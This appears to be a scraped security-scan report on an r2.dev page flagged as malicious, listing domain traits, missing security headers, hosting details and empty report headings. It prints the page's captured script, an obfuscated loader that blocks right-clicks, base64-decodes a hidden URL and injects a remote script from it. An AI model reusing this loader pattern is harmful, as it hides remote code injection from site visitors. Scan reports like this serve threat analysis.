English

The domain name 'pub-6ded1163fb1649cdbe2e8e9559813b0c.r2.dev' uses the developer-focused generic top-level domain (.dev), featuring subdomain 'pub-6ded1163fb1649cdbe2e8e9559813b0c'. The second-level label 'r2' is 2 characters long holding zero vowels versus one consonant, notching 1 digit. Segmentation suggests 2 words: r, 2. Average segment length settles at 1 character. No strong language cues emerged from the frequency lists.

0401de33701f1cad16ecf952899d23990b6437d0a5b7335524edf6bdfb932542

4ac17a9c8ca49b2df27fd6286d479b1f9a87aee045772a29cabf1cd493148ddd

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://webui-test chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';media-src blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types lottie-worker-script-loader webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

DNStination Inc.

MarkMonitor Inc.

socket.io

Abuse Team

CloudFlare, Inc.

r2.dev

Cloudflare, Inc.

Cloudflare, Inc

CLOUDFLARENET


        var sc = document.createElement("script");
        sc.setAttribute("src", "https://cdn.socket.io/4.6.0/socket.io.min.js");
        sc.setAttribute("integrity", "sha384-c79GN5VsunZvi+Q/WObgk2in0CbZsHnjEqvFxC5DxHn9lTfNce2WW6h2pH6u/kF+");
        sc.setAttribute("crossorigin", "anonymous");
        sc.setAttribute("type", "text/javascript");
        document.head.appendChild(sc);
        document.addEventListener('contextmenu', event => event.preventDefault());
        var s9c7de6212481802e1ac3520822cfb6c893cc0960 = atob(document.getElementById("html").getAttribute("point"));
        console.log(s9c7de6212481802e1ac3520822cfb6c893cc0960);
        var s28ebe75e66e828cd7403e1b48ed83c01a441b79d_7d22e963d5bf8c2d88df14a7e25e8f0a96c1a237 = document.createElement(atob("c2NyaXB0"));
        s28ebe75e66e828cd7403e1b48ed83c01a441b79d_7d22e963d5bf8c2d88df14a7e25e8f0a96c1a237.setAttribute(atob("c3Jj"), s9c7de6212481802e1ac3520822cfb6c893cc0960 + atob("L2pzbm9tLmpz"));
        s28ebe75e66e828cd7403e1b48ed83c01a441b79d_7d22e963d5bf8c2d88df14a7e25e8f0a96c1a237.setAttribute(atob("dHlwZQ=="), atob("dGV4dC9qYXZhc2NyaXB0"));
        document.head.appendChild(s28ebe75e66e828cd7403e1b48ed83c01a441b79d_7d22e963d5bf8c2d88df14a7e25e8f0a96c1a237);
    

Node.js

Cloudflare Bot Management

Cloudflare

Socket.io

☠️ Malicious - https://pub-6ded1163fb1649cdbe2e8e9559813b0c.r2.dev/19WOPA.html

Requests	IP Address	Location	AS Autonomous System
1	18.245.31.89Cloudfront · CDN	United States	AS16509Amazon.com, Inc.
1	104.18.54.45Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	104.18.50.34Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	18.245.31.78Cloudfront · CDN	United States	AS16509Amazon.com, Inc.
4	4	-	-

Security Scan Report: pub-6ded1163fb1649cdbe2e8e9559813b0c.r2.dev

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Detected Technologies4

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History